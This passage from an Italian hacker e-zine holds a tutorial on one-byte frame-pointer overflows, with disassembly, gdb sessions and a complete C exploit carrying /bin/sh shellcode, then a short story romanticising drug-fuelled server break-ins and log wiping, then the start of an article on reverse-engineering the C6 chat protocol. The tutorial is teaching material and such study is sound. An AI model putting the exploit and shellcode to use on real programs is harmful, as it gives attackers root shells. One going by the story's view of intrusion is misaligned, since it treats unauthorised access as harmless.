INTEL: mov a, b = mov B dentro A
```

il resto e' assolutamente chiaro....
Bene compiliamo il nostro programma e passiamolo sotto IDA, quindi esaminiamo il proggy partendo dal main():

```
.text:08048440 main            proc near
.text:08048440
.text:08048440 var_4           = dword ptr -4
.text:08048440 arg_4           = dword ptr  0Ch
.text:08048440
.text:08048440                 push    ebp
.text:08048441                 mov     ebp, esp
.text:08048443                 sub     esp, 4
.text:08048446                 mov     eax, [ebp+arg_4]
.text:08048449                 add     eax, 4
.text:0804844C                 mov     eax, [eax]
.text:0804844E                 mov     [esp+4+var_4], eax ; argc[1]
.text:08048451                 call    overflow             ; overflow(argc[1])
.text:08048456                 leave
.text:08048457                 retn
.text:08048457 main            endp
```

niente di particolarmente interessante, main() si aggiusta lo stack e poi chiama la funzione overflow con il relativo parametro, quindi esaminiamo la funzione overflow:

```
.text:08048458 overflow        proc near
.text:08048458
.text:08048458 i               = dword ptr -74h
.text:08048458 buffer          = byte ptr -70h
.text:08048458 arg_0           = dword ptr  8
.text:08048458
.text:08048458                 push    ebp
.text:08048459                 mov     ebp, esp
.text:0804845B                 sub     esp, 74h     ; 74h = 116 ovvero 112 per il
buf e 4 per l'int i
.text:0804845E                 mov     [ebp+i], 0
```

```
 .text:08048465
 .text:08048465 for:
 .text:08048465                 cmp     [ebp+i], 70h ; for(int i=0; i<=112; i++)
 .text:08048469                 jle     short loop   ; if (i<= 112) goto loop
 .text:0804846B                 jmp     short exit   ; else goto exit
 .text:0804846D ; ---------------------------------------------------------------------
----------
 .text:0804846D
 .text:0804846D loop:
 .text:0804846D                 lea     eax, [ebp+buffer] ; eax = offset buffer
 .text:08048470                 mov     edx, eax
 .text:08048472                 add     edx, [ebp+i]   ; buffer[i]
 .text:08048475                 mov     eax, [ebp+i]      ; eax = buffer[i]
 .text:08048478                 add     eax, [ebp+arg_0]
 .text:0804847B                 movzx   eax, byte ptr [eax]
 .text:0804847E                 mov     [edx], al         ; buffer[i] = string[i]
 .text:08048480                 lea     eax, [ebp+i]
 .text:08048483                 inc     dword ptr [eax]
 .text:08048485                 jmp     short for
 .text:08048487 ; ---------------------------------------------------------------------
----------
 .text:08048487
 .text:08048487 exit:
 .text:08048487                 leave
 .text:08048488                 retn
 .text:08048488 overflow        endp
```

Ve la pasto tutta per comodita' ma a noi interessa ben poco, come vedete ho rinominato un po' di variabili per farvi capire il codice con piu' facilita' ma ecco comunque il sunto della funzione:

```
 .text:08048458 i               = dword ptr -74h
 .text:08048458 buffer          = byte ptr -70h
 .text:08048458 arg_0           = dword ptr  8
 .text:08048458
 .text:08048458                 push    ebp
 .text:08048459                 mov     ebp, esp
 .text:0804845B                 sub     esp, 74h
            ---- snip ----
 .text:08048487                 leave
 .text:08048488                 retn
```

Questo snip e' tutto quello che ci interessa, esaminiamo le prime tre istruzioni:

```
 .text:08048458                 push    ebp
 .text:08048459                 mov     ebp, esp  ; Attiviamo un nuovo Frame
 .text:0804845B                   sub     esp, 74h  ; Facciamo spazio per tutte le
variabili usare dalla funzione
```

queste istruzioni servono a creare un nuovo frame all'interno della chiamata, in pratica date uno sguardo a questa istruzione:

```
 .text:08048451                 call    overflow
```

Appena il processore arriva sulla call salva l'eip sullo stack (l'eip e' un registro che assume sempre il valore della prossima istruzione, serve ad indicare al processore quale riga eseguire dopo quella che ha appena processato) poi entra nella call e crea un nuovo frame per eseguire le istruzioni, in questo nuovo frame

fa spazio per tutte le variabili statiche locali e poi alla fine della call arriva al ret:

```
 .text:08048488                 retn
```

il ret (retn sta per Return Near) cosa fa...Sostanzialmente prende l'eip dallo stack e ci fa un jump, in questo modo riporta l'esecuzione alla riga appena successiva la call.
Poi vediamo un'altra istruzione prima del ret, ovvero: leave, questa sara' fondamentale per il nostro studio, leave e' da poco utilizzata, i compilatori di prima sistemavano lo stack a mano, poi si sono resi conto che leave lo faceva per loro, ora gli manca solo di scoprire che esiste anche enter, cosi forse nel gcc 6 le troveremo tutte e due :PPP (skerzo in realta' non era stato introdotto prima per compatibilita', comunque non capisco perche' usano leave e non enter....)
Bene, come potete vedere, le prime righe all'interno della call sistemano lo stack e creano il nuovo frame, solo che questo frame una volta usciti va cancellato per tornare nel frame precedente ed e' quello che fa leave, cioe', se non ci fosse leave sicuramente ci sarebbero queste due righe:

```
 .text:08048487                 mov     esp,ebp
 .text:08048489                 pop     ebp
```

4. Ecco in dettaglio come funziona una call

Meglio che vi faccia un esempio per chiarire tutti gli eventuali dubbi dal momento che e' importantissimo capire come funziona una call per studiare questo tipo di exploit, bene, guardate questo codice fittizio, dovrebbe servire a farvi capire:

```
 00000001   nop                ; qui l'EIP e' uguale a 00000002
 00000002   call 00000013           ; ** Adesso l'EIP e' uguale a 00000007 e viene salvato sullo stack
                                ; ** supponiamo che la nostra call faccia utilizzo di un int e basta (4 byte)
 00000007   nop
 00000008   jmp 0000000D            ; Ho messo questo solo per esempio, l'EIP in questo caso e' 0000000D e non 0000000A
 0000000A   nop
 0000000B   nop
 0000000C   nop
 0000000D   ESCI               ; Procedura fittizia di uscita
 00000011   nop
 00000012   nop
 00000013   push  ebp          ; ** Eccoci nella call...Cosa succede, viene salvato il vecchio frame
 00000014   mov   ebp, esp        ; ...quindi viene creato il frame nuovo...
 00000016   sub   esp, 0x4          ; ...e gli vengono assegnati 4 byte (per il nostro intero) da utilizzare
 00000018   INCREMENTA_L'INTERO       ; Qui la funzione fa qualcosa che non ci interessa...
 0000002A   mov   esp, ebp            ; ...e prima di uscire viene sistemato il frame...
 0000002C   pop   ebp             ; ...viene restorato quello vecchio...
 0000002D   ret                ; ...e viene recuparato l'EIP dallo stack, quindi viene fatto un jump al vecchio
                                ; EIP ovvero 00000007
```

Nessuno ci vieta pero' di utilizzare altre forme EQUIVALENTI per la creazione del nostro frame e l'uscita, ecco alcuni esempi:

```
 00000013   enter   4,1       ; Questo vuol dire: alloca 4 byte, 1 e' il livello in
cui si trova la call
 00000018   INCREMENTA_L'INTERO
 0000002A   mov   esp, ebp
 0000002C   pop   ebp
 0000002D   ret
```

Anche questo sarebbe identico:

```
 00000013   enter   4,1       ; Questo vuol dire: alloca 4 byte, 1 e' il livello in
cui si trova la call
 00000018   INCREMENTA_L'INTERO
 0000002A   leave             ; equivalente a mov esp, ebp | pop ebp
 0000002B   ret
```

E nessuno ci vieta di combinare le due cose, ad esempio, usare leave ma non enter o viceversa, infatti a quanto ho visto, il gcc 3.1 utilizza leave per l'uscita dalle chiamate ma sistema lo stack senza usare enter (a noi sarebbe comodo che facesse il contrario ;p mentre a livello di ottimizzazione sarebbe meglio se usasse sia enter che leave).

5. Finalmente e` giunta la stagione degli amori....Molestiamo lo stack!

Adesso guardate il codice, ricordatevi che lo stack lavora al contrario (cresce verso valori numericamente minori) ed e' un LIFO (Last In First Out)...

```
int main(int argv, char *argc[]){
        overflow(argc[1]);               1. Salviamo l'EIP sullo stack
}

void overflow(char *string){         2. Salviamo EBP
        char buffer[112];            3. Adesso parte il buffer, l'ultimo byte sta
sotto a EBP
        int i;                       4. L'intero i

        for(i=0; i<=112; i++)
                buffer[i] = string[i];
}
```

Ora potete intuire cosa succede :), immaginate lo stack nel momento in cui ci troviamo qui:

```
main()
.text:0804844C                  mov     eax, [eax]
.text:0804844E                  mov     [esp+4+var_4], eax ; argc[1]
.text:08048451                  call    overflow

overflow()
.text:08048458                  push    ebp             ; <- Siamo Qui!
.text:08048459                  mov     ebp, esp
.text:0804845B                  sub     esp, 74h
.text:0804845E                  mov     [ebp+i], 0
```

La memoria sara' piu' o meno cosi:

```
      [EIP per il RET  ] // main()
      [EBP per il Frame] // overflow()
      [Buffer 111      ] // overflow()
      [Buffer 50       ] // overflow()
      [Buffer  0       ] // overflow()
      [int i           ] // overflow()
```

Ora e' abbastanza chiaro, immaginiamo di overfloware il nostro buffer, cosa andiamo a sovrascrivere?? Gia', proprio lui, EBP, a dire il vero non e' esattamente immediata l'utilita' di questo overflow...Perche' se guardate la fine della chiamata sapete che EBP viene recuperato dallo stack quindi c'e' il ret, ma siccome l'EIP non viene toccato non possiamo fare nulla...Non esattamente, cerchiamo di guardare il codice in maniera leggermente differente da come ce lo propone il disassembler e vediamo di capire come sfruttare questo byte...

```
main().text:0804844E                mov     [esp+4+var_4], eax
main().text:08048451                call    overflow   {1}

overflow().text:08048458            push    ebp        {2}
overflow().text:08048459            mov     ebp, esp
overflow().text:08048487            leave              {3}
overflow().text:08048488            retn

main().text:08048456                leave              {4}
main().text:08048457                retn
```

Ok ho spostato il codice per farvi capire meglio, ovviamente la funzione overflow() non e' stata riportata per intero.
La situazione e' questa...All'indirizzo 0x08048451 salviamo l'EIP (che punta a 0x08048456) sullo stack {1}, entriamo quindi nella chiamata e salviamo EBP {2}, facciamo le nostre cose e prima di uscire il leave {3} salva EBP dentro ESP e recupera EBP che aveva salvato in {2}...
Cambiando l'ultimo byte di EBP succede che arrivati alla fine della chiamata, quando leave esegue il "pop ebp" ritroviamo dentro EBP il valore con l'ultimo byte cambiato...A questo punto il ret ci riporta dentro main(), precisamente in {4}, dentro EBP abbiamo il nostro valore con l'ultimo byte cambiato, troviamo quindi il secondo leave {4} che serve a sistemare lo stack per farci uscire da main(), ma leave salva EBP (cambiato) dentro ESP quindi il main() ritorna dove non dovrebbe, per chiarire meglio il discorso vi traduco leave nelle istruzioni che riassume, guardate:

```
main().text:080484xx                mov     [esp+4+var_4], eax
main().text:080484xx                call    overflow

overflow().text:080484xx            push    ebp           {1}
overflow().text:080484xx            mov     ebp, esp      {2}
              .... la funzione fa le sue cose....
overflow().text:080484xx            mov     esp, ebp ; ecco il leave...
overflow().text:080484xx          pop     ebp      ; ...qui termina {3}
overflow().text:080484xx            retn

main().text:080484xx                mov     esp, ebp      {4}
main().text:080484xx                pop     ebp
main().text:080484xx                retn                  {5}
```

Immaginate adesso di trovarvi in {1}, salviamo EBP quindi lo stack contiene il valore di EBP, {2} crea quindi il nuovo frame, ma ci interessa poco...Durante la funzione noi andiamo a sovrascrivere l'ultimo byte di EBP che sta salvato nello

stack, se avete capito fin qui ce l'avete quasi fatta...Di seguito alla fine della funzione ovvero in {3} recuperiamo dallo stack il nostro EBP con l'ultimo byte cambiato, se avviamo il programma in questo modo:

```
quequero@panther:~$ ./one AAAAAAA....AAAAA (112 'A' o +)
```

vediamo che in {3} EBP e' uguale a:

```
(gdb) info reg ebp
ebp            0xbffff941       0xbffff941
```

Ed in effetti il codice ASCII della 'A' e' 0x41 quindi l'ultimo byte e' stato davvero sovrascritto.
A questo punto la funzione ritorna, ci ritroviamo in {4} e qui succede tutto cio' che serve, ovvero EBP viene salvato nello stack e quindi il ret che si trova in {5} ritornera' nel posto sbagliato...Logicamente dopo {4} l'utimo byte di ESP non sara' piu' 0x41 bensi 0x45 ovvero 0x41+4 proprio perche' viene fatto un pop prima di ritornare....
Vi consiglio di fare l'occhio con i leave perche' i compilatori oramai tendono ad usare questo operatore al posto della vecchia catena di istruzioni che e' piu' lenta...Quindi se avete capito come funziona il Frame Pointer Overwrite con il leave siete a cavallo perche' il resto e' discretamente piu' semplice :)

6. Lo stack e' stato molestato a sufficienza, facciamogli partorire una shell

Adesso sappiamo trovare un OneByte Overflow, sappiamo vedere cosa sovrascrive ma non sappiamo ancora exploitarlo ed e' proprio questo che cercheremo di fare....Exploitare una vulnerabilita' di questo genere. Ma come si fa ad utilizzare un solo byte? Sappiamo che la funzione crasha perche' ritorna nel posto sbagliato, allora perche' non fare in modo di farla ritornare in un posto dove ci e' concessa la scrittura e quindi trasformare questa bestiolina nera in un semplice buffer overflow?
Cosi facendo ci basterebbe creare uno shellcode normale, riempire il buffer in modo appropriato e quindi zack...Beccarci l'oramai agognato # :P
Il buffer andrebbe riempito con un ordine preciso...L'ideale sarebbe metterci:

1. Lo shellcode
2. Un puntatore allo shellcode
3. Il nostro byte che dobbiamo scoprire che valore deve avere

Abbiamo 112 byte a disposizione, diciamo che una cinquantina li spendiamo per lo shellcode, altri 4 per il puntatori, uno per il byte da sovrascrivere...Con i restanti che ci facciamo? Beh sarebbe una bella idea mettere qualche NOP prima dello shellcode tanto per aumentare le nostre chance di successo :)
Soltanto che non possiamo andare cosi' a cavolo, dobbiamo scoprire un paio di dati come ad esempio: dove inizia il nostro buffer, cosi tanto per renderci conto di come comportarci. Beh scoprire dove comincia e' abbastanza semplice, entriamo in gdb e appena la funzione fa spazio ai nostri 112+4 byte guardiamo lo stack...

```
quequero@panther:~$ gdb one
(gdb) disass overflow
Dump of assembler code for function overflow:
0x8048458 <overflow>:           push   %ebp
0x8048459 <overflow+1>:         mov    %esp,%ebp
0x804845b <overflow+3>:         sub    $0x74,%esp
0x804845e <overflow+6>:           movl   $0x0,0xffffff8c(%ebp) ; brekiamo qui per
vedere dove sta il buffer
0x8048465 <overflow+13>:        cmpl   $0x70,0xffffff8c(%ebp)
0x8048469 <overflow+17>:        jle    0x804846d <overflow+21>
```

```
 0x804846b <overflow+19>:        jmp    0x8048487 <overflow+47>
 0x804846d <overflow+21>:        lea    0xffffff90(%ebp),%eax
 0x8048470 <overflow+24>:        mov    %eax,%edx
 0x8048472 <overflow+26>:        add    0xffffff8c(%ebp),%edx
 0x8048475 <overflow+29>:        mov    0xffffff8c(%ebp),%eax
 0x8048478 <overflow+32>:        add    0x8(%ebp),%eax
 0x804847b <overflow+35>:        movzbl (%eax),%eax
 0x804847e <overflow+38>:        mov    %al,(%edx)
 0x8048480 <overflow+40>:        lea    0xffffff8c(%ebp),%eax
 0x8048483 <overflow+43>:        incl   (%eax)

 0x8048485 <overflow+45>:        jmp    0x8048465 <overflow+13>
 0x8048487 <overflow+47>:        leave                  ; e qui per vedere se
abbiamo visto giusto
 0x8048488 <overflow+48>:        ret


 (gdb) break *0x804845e      <- Primo break
 Breakpoint 1 at 0x804845e
 (gdb) break *0x8048487      <- Secondo break
 Breakpoint 2 at 0x8048487
 (gdb) run AAAAAAAAAAAA....AAAAAAAAAAAAAAAAAAAA  <- Runniamo il prog con piu di 112
A
 Breakpoint 1, 0x804845e in overflow ()
 (gdb) info reg esp          <- E zack! esaminiamo lo stack
 esp            0xbffff8fc       0xbffff8fc
```

A quanto pare il nostro buffer si trova all'indirizzo 0xbffff8fc, sicuri che non ci scordiamo nulla? Beh in realta' si trova al nostro indirizzo +4, non ci scordiamo l'int i :)
Quindi continuiamo e vediamo se a 0xbffff900 troviamo tante belle 'A':

```
 (gdb) c
 Continuing.

 Breakpoint 2, 0x8048487 in overflow ()

 (gdb) x/4 0xbffff900   <- Esaminiamo lo stack al secondo break
 0xbffff900:     0x41414141      0x41414141      0x41414141      0x41414141
```

Beh a quanto pare abbiamo visto giusto, lo stack e' pieno di 0x41 (vi ricordo che il codice ASCII della 'A' e' 0x41) quindi il nostro buffer comincia a questo indirizzo :)
Quindi abbiamo gia' un dato per sferrare il nostro attacco, ovvero l'indirizzo 0xbffff900 (variabile logicamente da pc a pc), adesso il nostro penultimo dato ovvero il posto in cui piazzare il puntatore allo shellcode, ma questo e' davvero facile dal momento che andra' messo in fondo, quindi l'indirizzo sara' 0xbffff900 + 112 (ovvero 0x70 cioe' la grandezza del nostro buffer) - 4 che e' la dimensione del puntatore stesso :) quindi:

Indirizzo del puntatore = 0xbffff900 + 0x70 - 0x4 = 0xbffff96c

E l'ultimo che sara' il byte col quale dovremo sovrascrivere EBP...Che valore usiamo? Visto che vogliamo far tornare il nostro codice in mezzo al buffer allora prendiamo l'indirizzo del puntatore ed usiamo quello, quindi:

Byte che sovrascrivera' EBP = 0xbffff96c ma a noi interessa solo l'ultimo ovvero 0x6c, ma cosi non va bene, vi ricordate che all'uscita di overflow() trovavamo l'ultimo byte che era 0x45 invece di 0x41? Gia', veniva incrementato dal leave, ma

non e' affatto un problema dal momento che ci bastera' sottrarre 4 per ottenere il giusto valore: 0x6c - 0x4 = 0x68
Bene, riassumiamo tutti i dati a nostra disposizione:

Indirizzo del buffer = 0xbffff900
Indirizzo del puntatore = 0xbffff96c
Ultimo byte del buffer = 0x68

In sostanza abbiamo tutto, ci basta giusto la pass di root :P ma tra poco non ci servira' nemmeno quella :P
L'exploit e' semplicissimo da realizzare anche perche' e' un semplice BoF comunque dovrete debuggare il programma sulla vostra box ed aggiustare i vari indirizzi, l'importante e' che abbiate capito come funziona questo tipo di vulnerabilita' anche perche' exploitarla diventa una cosa abbastanza immediata....
Non dobbiamo far altro che costruire il buffer normalmente ma alla fine dobbiamo aggiungere il byte col quale vogliamo sovrascrivere EBP (in questo caso 0x68), quindi il nostro pargolo sara' cosi:
[shellcode][puntatore allo shellcode][0x68] e se ci avanza spazio mettiamo qualche nop in modo da aver piu' chance di riuscita (come gia detto poco sopra), quindi:

[nop...nop...nop][shellcode][puntatore allo shellcode][0x68]

Ecco il codice per l'exploit, rippato direttamente dall'articolo di klog perche' e' scritto nel modo piu' semplice possibile quindi e' inutile che vi presenti qualcosa di piu' contorto (leggermente editato per fittare i nostri bisogni :P [che in inglese diventa: slightly edited to fit our needs :P]):

```
#include <stdio.h>
#include <unistd.h>

char sc_linux[] =
        "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07"
        "\x89\x56\x0f\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12"
        "\x8d\x4e\x0b\x8b\xd1\xcd\x80\x33\xc0\x40\xcd\x80\xe8"
        "\xd7\xff\xff\xff/bin/sh";

main()
{
      int i, j;
      char buffer[448];

      bzero(&buffer, 448);
      for (i=0;i<=(90-sizeof(sc_linux));i++)
      {
            buffer[i] = 0x90;
      }
      for (j=0,i=i;j<(sizeof(sc_linux)-1);i++,j++)
      {
              buffer[i] = sc_linux[j];
      }
      buffer[i++] = 0x10; /* Va guessato ma potete variarlo, i nop ci sono
apposta
            buffer[i++] = 0xf9;  * Indirizzo del buffer
      buffer[i++] = 0xff;  * Indirizzo del buffer
      buffer[i++] = 0xbf;  */
      buffer[i++] = 0x68; // Il nostro byte col quale sovrascriveremo EBP

      execl("./one", "one", buffer, NULL);
```

```
      }

 quequero@panther:~$ gcc expl.c -o expl
 quequero@panther:~$ ./expl
 bash-2.05$
```

Worka :) non vi nascondo che non e' stato affatto banale farlo andare ma alla fine va ed e' questo che ci interessa, magari avrete qualcosa da aggiustare ma non sara' difficile...
Succede che EBP viene sovrascritto e quando ci troviamo sul ret del main() nello stack dovremmo avere l'indirizzo dove si trova il nostro allegro buffer :)....In questo modo il main() ritorna nel buffer, esegue lo shellcode e ole...Abbiamo la nostra allegrissima shell :).
Come avete visto il concetto all'inizio e' un po' ostico ma poi diventa abbastanza semplice capire quello che succede perche' in fondo e' un normale buffer overflow, niente di piu' :).

Concludendo possiamo dire che questo tipo di vulnerabilita' non e' sempre immediato da vedere (ricordate ad esempio il channell_lookup dell'ssh quello era tutt'altro che facile da trovare) anche se spesso spulciando i for potete capire con facilita' se il buffer viene usato bene o male, exploitare queste vulnerabilita' non e' difficilissimo anche perche' possiamo aiutarci con qualche piccolo bruteforce, la cosa da notare e' che non sempre in presenza di un Null Poison possiamo exploitare, molto dipende dal compilatore perche' se padda il codice allora l'exploit diventa impossibile ma anche se vengono allocati altri buffer oltre a quello vulnerabile non e' detto che il programma sia exploitabile, vuol dire che un po' di debugging va fatto comunque :).
E per oggi...E' tutto :)

Thanx To (sort(buffer); rand(buffer);):

klog: visto che il tute ha preso spunto dal suo
N0body88: che e' il mio bro e guai a chi lo tocca
Vinx2o2o: che e' l'altro mio bro e gli voglio bene
Khuma: perche' e' talmente tenera che si taglia con un grissino ma non glielo dite che vuole sembrare cattiva...Shhh :P
Mayhem: che e' mayo e questo basta e avanza
Brigante: che e' over the top e non potrei non volergli bene anche perche' ci vivrei in simbiosi
Briga^2: che e' un tipo che ho abbracciato all'hackmeet pensando che fosse briga e ancora mi prende per il culo :)
Fen0x: perche' si sballa con un bicchiere di birra :P
Badcluste: perche' non lo conoscevo poi l'ho conosciuto ed e' grande :)
Smilzo: perche'? Non so perche', sono fatti miei! :P
Master: perche' e' il papa' didattico di tutti :)
Il Nonno: perche' va in puzza per ogni motivo
Lo zio: perche' e' una persona troppo grande dentro e troppo cotta fuori :)
Paolo: perche' vive nel suo tenero mondo elfico per 8 ore al giorno
UIC: perche' in linea di massima sono persone volenterose e poi devo a loro tanto tanto tanto
#crack-it: perche' e' un canale piu' speciale degli altri
-=Spp=-: perche' non siamo un gruppo, non siamo una crew, siamo dei fratelli ed e' una cosa che non esiste altrove

Tutti gli altri che ora non ho voglia di ricordare, ma davvero tutti, nessuno escluso :)

!(Thanx to):

Gli amici che sono lontani e non si possono incontrare per troppo tempo
I topi con la rabbia
Lo Stato
La monarchia anticostituzionale
I dittatori
I batteri maligni
I retovirus
La gente che runna i 7350 crittati col Burneye che si prendono i virus e poi scassano 'o cazzo
Tutto cio' che reprime la liberta' di espressione dell'individuo
Le persone bigotte

that's all folks

-
=Quequero=-

quequero@bitchx.it

http://quequero.cjb.net

…NetBallads…
-= coroner_bag =- <coroner_bag at spippolatori dot com>

Consumo per produrre questo articolo:
2gr. Red Skunk indoor coltivata in serra
1gr. White Widow
3   Buondi'
1   sacco di liquidi
1   pacchetto di Winston Light
1   sacco di Smoking

Colonna sonora: soprattutto Nirvana, Bush, Bran Van300, Korn, Moby...

…NetBallads…

E me ne stavo li, semplicemente immobile, disteso sul divano di pelle del soggiorno, grondando sudore.
Anche se indossavo solo un paio di boxer sentivo l'afa stringermi la gola togliendomi la voglia di prendere una sedia e allungare le mani sulla tastiera e finalmente finire quel maledetto script.
Silenzio.
Sono anni che non lo sento piu' ormai.
I miei giorni e le mie notti sono scandite da un sottofondo persistente di ventole in movimento, hard disk in scrittura e dat in backup...
Fumo qualcosa.
click
click
click
Piove.
Fisso il cursore verde della shell lampeggiare nel monitor di fronte a me...e senza che neanche me ne accorga tutto inizia a muoversi. Hardware liquido...il sogno del Duro Da Morto. Il codice sorgente inizia a colare sul pavimento in finissimi rivoli di luce verde. Si espande come una radice sul linoleum e inizia a salirmi lungo le gambe e sotto i boxer, si intreccia e si dirama sempre piu' velocemente accarezzandomi intorno ai capezzoli e poi sale diretta nel setto nasale infilzandomi il cervello...e tutto si ferma.
E rimane fermo mentre la marijuana mi squaglia il cervello.
Idle Time: 25 mins
Atterro nella chiazza di sudore che e' ormai il divano e decido che e' il caso di farsi un caffe'.
2:00 P.M.
Piove ancora.
Mi sa che esco un po'.
Questo posto sembra finto. Incredibile come una citta' tanto bella e amata da scrittori che l'hanno decantata come il paradiso terrestre possa ospitare una quantita' cosi' enorme di teste di cazzo. Finto il posto, finta la gente.
Sto in mezzo e scrivo.
click
Esiste un momento preciso in cui, se sei capace di ascoltare, senti un prurito leggero vicino alle scapole. Non e' proprio fastidioso, e' piuttosto un piacevole solletico, proprio di qualcosa che sta crescendo ma non ne ha ancora volonta' precisa. Io l'ho sentito vivamente in un locale, verso l'imbrunire. La luce in quell'ora sembra scivolare all'interno, da sotto la porta e dalle finestre aperte, comprimendosi e riscaldandosi. Calda. Tutto ha il colore dell'intimo caldo, un

tenue rosso e un piu' agguerrito giallo ambrato. Le volute di fumo si alzano dai posacenere posti al centro dei tavolini di metallo cromato, sommessamente, e rimangono li, sospese, come a rilassarsi nell'aria accogliente.
Me ne stavo seduto a bere la mia birra discorrendo con una ragazza appena incontrata. Il suo modo di portare una ciocca di capelli ribelle dietro l'orecchio mi aveva affascinato e dato che ormai era tempo per un aperitivo, non esitai ad offrirglielo.
click
Noia. Tutto si ripete uguale. C'era qualcosa che mi manca.
E ad un tratto il locale esplose.
Nessuno si accorse dell'esplosione. Ne la ragazza seduta di fronte a me, ne i pochi avventori. Ma tutto cambio' di colpo.
Tutto, divenne immobile ancora una volta.
Poi il boato mi investi trasportando con se l'aria rovente e la polvere. Un canto muto al mio intimo. E petali, petali verdi iniziarono ad adagiarsi soffici su tutte le cose.
Mi capita sempre cosi'...fumo troppo, bevo troppo e quando arriva il momento sono sempre cosi' fuori che tutto viene distorto dall'illuminazione.
Quando arriva il momento, sono sempre favolosamente impreparato.
Parlo ancora pochi minuti con questa splendida ragazza, ma sto gia' pensando ad altro. Canonico scambio di numeri di cellulare. Ti chiamo. No ti chiamo io. Ok....ciao. ciao...
Rimango sul menu rubrica.
Cerca: Papero
Hum.....no, so dove trovarlo...
click
Avanti veloce fino a casa.
Connecting to irc.oltrelinux.com (6667)
Welcome to the AzzurraNET IRC Network coroner!Conte_Z_I@192.168.0.1
Your host is oltrelinux.azzurra.org[@0.0.0.0], running version bahamut(paradox)-1.4(34
/query Papero[Zzz]
<coroner_bag> ciao uomo di latta :)
<Papero[Zzz]> ciao tessitore di paranoie
<coroner_bag> ahahahhaha
<Papero[Zzz]> hihihihihihihihihi
I discorsi tra me e il papero....
Come immaginavo il Papero e' d'accordo con me che e' arrivata l'ora di andare a fare un po' di casino in rete. Non c'e' meglio di un cracker incallito quando hai voglia di girarti un po' di server...
click
Qualcuno mi ha chiesto cosa ci trovo di tanto divertente
nell'entrare in un server senza chiedere permesso. Beh, c'e' chi lo fa per avere informazioni, o per spirito di distruzione, o per soldi. Io sono solo curioso. A volte lo faccio per principio, non sopporto le casseforti chiuse con dentro cose che dovrebbero essere mie di diritto. L'informazione e' di tutti e non ha un prezzo. Ma se devo essere sincero, lo faccio per l'adrenalina.
Quando sfondi le barriere di un server e ti butti dentro, ti trovi in caduta libera in un mare di dati. E' un po' come il primitivo lancio con la corda praticato nelle iniziazioni di alcune tribu' amazzoniche, ti leghi il tuo bagaglio di codice alla caviglia e ti lanci. Quando stai per arrivare giu' l'adrenalina ti pompa sangue nelle vene al massimo e poi, bang, arrivi a terra sperando che la corda regga. Ma il problema non e' l'atterraggio, e' la risalita. E allora inizi a fiutare log su log, bruciando tutto quello che ti puo' compromettere. E intanto leviti in mezzo ai dati. E li respiri a pieni polmoni per quei pochi secondi che hai a disposizione quando hai finito, poi esci, ed e' come rinascere e non potrai mai avere la certezza assoluta di non aver lasciato tracce...
click
Preparo tre canne davanti alla tastiera. Il Papero credo fara' altrettanto.
Apro una shell e accendo la prima.

2:00 A.M
Piove.
Io e il Papero continuiamo a divorare codice su codice, LAN su LAN, e ormai la terza canna e' finita da un pezzo e ne sono state bruciate altre due....sono sfinito. Alcune shell potevamo pure non prendercele, ma a volte e' irresistibile...
Il Papero fa un po' paura...spacca tutto il ragazzo...ma potrei mai dire qualcosa al mio piccolo disassemblatore di sogni? hehe. Lui e' come un payload fake di un pacchetto TCP/IP sparato dritto su un s-server...e anche lui quando e' dentro e' da solo, con la voglia di espandersi....e tutto e' luce. E giocattoli da bruciare...
3:27 A.M.
Piove. Ancora.
click
uff...adesso sono davvero distrutto, ma soddisfatto...
click
Finiamo a scambiare due chiacchiere su azzurra. Incontro il Biankoniglio, RainMan e lo PsicoticoPerverso. C'e' l'hackit2002 a Bologna fra meno di una settimana e mezzo. Splendido, finalmente potro' reincontrare i miei fratelli spippolatori. E' un sacco che non sento Il Mio Avvocato e il Duro Da Morto e il Maestro.
Il Maestro....
Non ho mai incontrato il Maestro ed eppure vale per me come un padre. Un padre digitale, e io, lo menziono alla stregua del mio vero padre.
* BudDaddy on query
<BudDaddy> ciao lurido
<coroner_bag> cia' ;)
<BudDaddy> ti ci porto io a Bo...si scrocca la benzina alla ditta hihihihi
<coroner_bag> ahahahah ottimo!
4:30 A.M.
Piove.Piove.Piove.
E me ne rimango qui un altra nottata, con il pacchetto delle sigarette quasi vuoto, una fondo di birra ormai sgasato e una quantita' incredibile di briciole e cenere sulla tastiera...e' ora di andare a dormire.
4:49 A.M.
Piove ancora...
A volte piove cosi' forte da riflettere le luci, a volte cosi' forte da non poter nemmeno aprire le ali. Allora implodi, e le apri dentro. A volte.
Ma non questa notte.
Esiste un momento preciso in cui senti un formicolio alle scapole, e dal riflesso del monitor vedi spuntare due ali. Verdi. Lucenti.

buonanotte....

by
-=coroner_bag=- 14/06/2002

I nomi e le situazioni sopra riportate sono frutto della mia immaginazione distorta e disturbata, inoltre per la creazione di questo testo non e' stata usata violenza su nessun amministratore di sistema.

Il protocollo C6

BigAlex < totalmeltdown at libero dot it >

Chiunque voglia far parte dell'Open C6 Project è il benvenuto. Il progetto si occupa di creare clients e servers C6 open-source e della massima portabilità (creati in c/c++ o java). Per maggiori informazioni, troverete tutto nella sezione progetti di www.redangel.it (al momento il link non è ancora attivo).

==-->
C6, Come sei?
<--==

Questo testo è stato scritto per soli scopi educativi, non mi assumo nessuna responsabilità per usi illeciti di questo testo. Inoltre il reversing del c6 non è reato in quanto non essendoci alcun genere di condizioni da accettare (e neppure nella guida è scritto nulla a riguardo), è possibile disassemblare, crackare e fare il reversing di ogni parte del c6.
Tuttavia, il software è protetto da copyright, quindi la copia è vietata.
Con questo sproloquio non incito comunque nessuno a compiere alcun genere di atto illegale.

Inoltre, ho fatto questo lavoro solo per utilizzare C6 in LAN (usando un server locale) e sotto Linux (codandolo in C). Altri utilizzi potrebbero essere illegali!
Altr scopo di questo testo è mostrare quante informazioni vengono passate dal client al server che potrebbe benissimo loggare o 'attivarsi' alla lettura di determinate parole, proprio come fa Echelon. Con questo non voglio assolutamente insinuare che la tin ci spia e viola la nostra provacy, anzi già dal fatto che non chieda molte informazioni alla nostra iscrizione si può intuire che io mi sbagli, ma voglio solo mostrarvi le informazioni passate (nostre informazioni) al server.

Finalmente il sogno di tanti presunti hackers, crackers, reversers, coders e chi più ne ha più ne metta, si avvera.
Il protocollo di C6 è stato reversato nelle sue funzioni più importanti. Le funzioni ancora da reversare sono:

- Codifica iniziale
- Codifica della password
- Varie funzioni come ricerca di NetFriends e Canali.

